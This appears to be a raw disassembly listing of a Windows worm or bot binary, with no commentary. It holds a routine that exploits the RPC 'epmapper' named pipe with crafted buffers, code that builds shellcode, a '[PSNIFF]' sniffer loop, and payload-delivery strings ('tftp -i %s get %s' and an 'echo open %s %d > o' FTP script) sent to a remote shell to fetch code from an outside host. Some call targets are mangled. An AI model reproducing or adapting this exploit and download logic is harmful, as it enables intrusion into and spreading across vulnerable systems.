		cmp	[ebp+var_28], esi
		jnz	short loc_402841
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26102D3h
		nop

loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78

loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx

loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43ACD4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43AE24
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_426C8C[eax*8]
		push	off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	dword_43AD2C
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_436EDC
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2630000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_436ED8
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43AE38
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7

loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43AE38

loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------

loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax

loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_436EDC
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	near ptr 2630000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h

loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43ACD8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		nop
		call	near ptr 2610F41h
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------

loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F674
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCD
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset off_427A80
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]

loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------

loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------

loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3

loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86

loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C

loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx

loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: ___:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	near ptr 2650000h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C

loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		call	near ptr 2640753h
		nop
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_402F02

loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx

loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		nop
		call	near ptr 26319EBh
		jmp	loc_402E4D
; ---------------------------------------------------------------------------

loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		nop
		call	near ptr 2631104h
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		nop
		call	near ptr 26319EBh
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43AD98
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------

loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF

loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059

loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
		call	sub_417C3B
		pop	ecx
		push	edi

loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	dword_43AE30

loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------

loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	dword_43AE30

loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		nop
		call	near ptr 2610F41h
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------

loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax

loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: ___:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_415450
		pop	ecx
		mov	dword_436EE0, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_436EE0
		push	eax
		call	dword_43AD98
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43ADB0
		mov	esi, offset byte_42F674
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		call	near ptr 2610F41h
		nop
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226

loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------

loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43ADB0
		push	ebx
		call	dword_43AE30
		mov	al, 1

loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: ___:004037ADp
					; ___:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]

loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr dword_436EE0
		add	esp, 2Ch
		push	eax
		call	dword_43AD98
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]

loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------

loc_403445:				; CODE XREF: sub_403249+118j
		push	7D0h
